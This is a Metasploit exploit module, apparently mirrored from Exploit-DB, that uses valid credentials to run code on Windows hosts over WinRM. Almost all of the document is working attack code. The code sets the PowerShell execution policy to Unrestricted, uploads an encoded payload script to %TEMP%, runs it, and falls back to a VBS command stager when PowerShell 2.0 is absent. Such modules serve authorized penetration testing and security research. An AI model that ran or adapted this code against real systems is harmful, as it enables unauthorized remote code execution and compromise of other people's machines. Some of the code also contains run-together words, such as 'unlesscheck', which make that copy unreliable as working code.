WinRM – VBS Remote Code Execution (Metasploit)

  • 作者: Metasploit
    日期: 2012-11-07
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/22526/
  • ##
    # $Id$
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # web site for more information on licensing and terms of use.
    # http://metasploit.com/
    ##
    
    
    require 'msf/core'
    
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = ManualRanking
    
    	include Msf::Exploit::Remote::WinRM
    	include Msf::Exploit::CmdStagerVBS
    
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'WinRM VBS Remote Code Execution',
    			'Description'=> %q{
    					This module uses valid credentials to login to the WinRM service
    					and execute a payload. It has two available methods for payload
    					delivery: Powershell 2.0 and VBS CmdStager.
    
    					The module will check if Powershell 2.0 is available, and if so uses
    					that method. Otherwise it falls back to the VBS Cmdstager which is
    					less stealthy.
    
    					IMPORTANT: If targeting an x64 system with the Powershell method
    					you MUST select an x64 payload. An x86 payload will never return.
    			},
    			'Author' => [ 'thelightcosine' ],
    			'License'=> MSF_LICENSE,
    			'Privileged' => true,
    			'DefaultOptions' =>
    				{
    					'WfsDelay' => 30,
    					'EXITFUNC' => 'thread',
    					'InitialAutoRunScript' => 'post/windows/manage/smart_migrate',
    				},
    			'Platform' => 'win',
    			'Arch'=> [ ARCH_X86, ARCH_X86_64 ],
    			'Targets'=>
    				[
    					[ 'Windows', { } ],
    				],
    			'DefaultTarget'=> 0,
    			'DisclosureDate' => 'Nov 01 2012'
    		))
    
    		register_options(
    			[
    				OptBool.new('FORCE_VBS', [ true, 'Force the module to use the VBS CmdStager', false])
    			], self.class
    		)
    
    		register_advanced_options(
    		[
    			OptString.new( 'DECODERSTUB',[ true, 'The VBS base64 file decoder stub to use.',
    				File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64_sleep")]),
    		], self.class)
    
    	end
    
    	def check
    		unless accepts_ntlm_auth
    			print_error "The Remote WinRMserverdoes not appear to allow Negotiate(NTLM) auth"
    			return Msf::Exploit::CheckCode::Safe
    		end
    
    		return Msf::Exploit::CheckCode::Vulnerable
    	end
    
    
    	def exploit
    		unlesscheck == Msf::Exploit::CheckCode::Vulnerable
    			return
    		end
    		if powershell2?
    			return unless correct_payload_arch?
    			path = upload_script
    			return if path.nil?
    			exec_script(path)
    		else
    			execute_cmdstager
    		end
    		handler
    	end
    
    	def execute_command(cmd,opts)
    		commands = cmd.split(/&/)
    		commands.each do |command|
    			if command.include? "cscript"
    				streams = winrm_run_cmd_hanging(command)
    				print_status streams.inspect
    			elsif command.include? "del %TEMP%"
    				next
    			else
    				winrm_run_cmd(command)
    			end
    		end
    	end
    
    	def upload_script
    		tdir = temp_dir
    		return if tdir.nil?
    		path = tdir + "\\" + ::Rex::Text.rand_text_alpha(8) + ".ps1"
    		print_status "Uploading powershell script to #{path} (This may take a few minutes)..."
    
    		script = Msf::Util::EXE.to_win32pe_psh(framework,payload.encoded)
    		#add a sleep to the script to give us enoguh time to establish a session
    		script << "\n Start-Sleep -s 600"
    		script.each_line do |psline|
    			#build our psh command to write out our psh script, meta eh?
    			script_line = "Add-Content #{path} '#{psline.chomp}' "
    			cmd = encoded_psh(script_line)
    			streams = winrm_run_cmd(cmd)
    		end
    		return path
    	end
    
    	def exec_script(path)
    		print_status "Attempting to execute script..."
    		cmd = "powershell -File #{path}"
    		winrm_run_cmd_hanging(cmd)
    	end
    
    	def encoded_psh(script)
    		script = script.chars.to_a.join("\x00").chomp
    		script << "\x00" unless script[-1].eql? "\x00"
    		script = Rex::Text.encode_base64(script).chomp
    		cmd = "powershell -encodedCommand #{script}"
    	end
    
    	def temp_dir
    		print_status "Grabbing %TEMP%"
    		resp,c = send_request_ntlm(winrm_open_shell_msg)
    		if resp.nil?
    			print_error "Got no reply from the server"
    			return nil
    		end
    		unless resp.code == 200
    			print_error "Got unexpected response: \n #{resp.to_s}"
    			return nil
    		end
    		shell_id = winrm_get_shell_id(resp)
    		cmd = "echo %TEMP%"
    		resp,c = send_request_ntlm(winrm_cmd_msg(cmd, shell_id))
    		cmd_id = winrm_get_cmd_id(resp)
    		resp,c = send_request_ntlm(winrm_cmd_recv_msg(shell_id,cmd_id))
    		streams = winrm_get_cmd_streams(resp)
    		return streams['stdout'].chomp
    	end
    
    	def check_remote_arch
    		wql = %q{select AddressWidth from Win32_Processor where DeviceID="CPU0"}
    		resp,c = send_request_ntlm(winrm_wql_msg(wql))
    		#Default to x86 if we can't be sure
    		return "x86" if resp.nil? or resp.code != 200
    		resp_tbl = parse_wql_response(resp)
    		addr_width =resp_tbl.rows.flatten[0]
    		if addr_width == "64"
    			return "x64"
    		else
    			return "x86"
    		end
    	end
    
    	def correct_payload_arch?
    		target_arch = check_remote_arch
    		case target_arch
    		when "x64"
    			unless datastore['PAYLOAD'].include? "x64"
    				print_error "You selected an x86 payload for an x64 target!"
    				return false
    			end
    		when "x86"
    			if datastore['PAYLOAD'].include? "x64"
    				print_error "you selected an x64 payload for an x86 target"
    				return false
    			end
    		end
    		return true
    	end
    
    
    	def powershell2?
    		if datastore['FORCE_VBS']
    			print_status "User selected the FORCE_VBS option"
    			return false
    		end
    		print_status "checking for Powershell 2.0"
    		streams = winrm_run_cmd("powershell Get-Host")
    		if streams == 401
    			print_error "Login failed!"
    			return false
    		end
    		unless streams.class == Hash
    			print_error "Recieved error while running check"
    			return false
    		end
    		if streams['stderr'].include? "not recognized"
    			print_error "Powershell is not installed"
    			return false
    		end
    		streams['stdout'].each_line do |line|
    			next unless line.start_with? "Version"
    			major_version = line.match(/\d(?=\.)/)[0]
    			if major_version == "1"
    				print_error "The target is running an older version of powershell"
    				return false
    			end
    		end
    
    		print_status "Attempting to set Execution Policy"
    		streams = winrm_run_cmd("powershell Set-ExecutionPolicy Unrestricted")
    		if streams == 401
    			print_error "Login failed!"
    			return false
    		end
    		unless streams.class == Hash
    			print_error "Recieved error while running check"
    			return false
    		end
    		streams = winrm_run_cmd("powershell Get-ExecutionPolicy")
    		if streams['stdout'].include? 'Unrestricted'
    			print_good "Set Execution Policy Successfully"
    			return true
    		end
    		return false
    	end
    
    end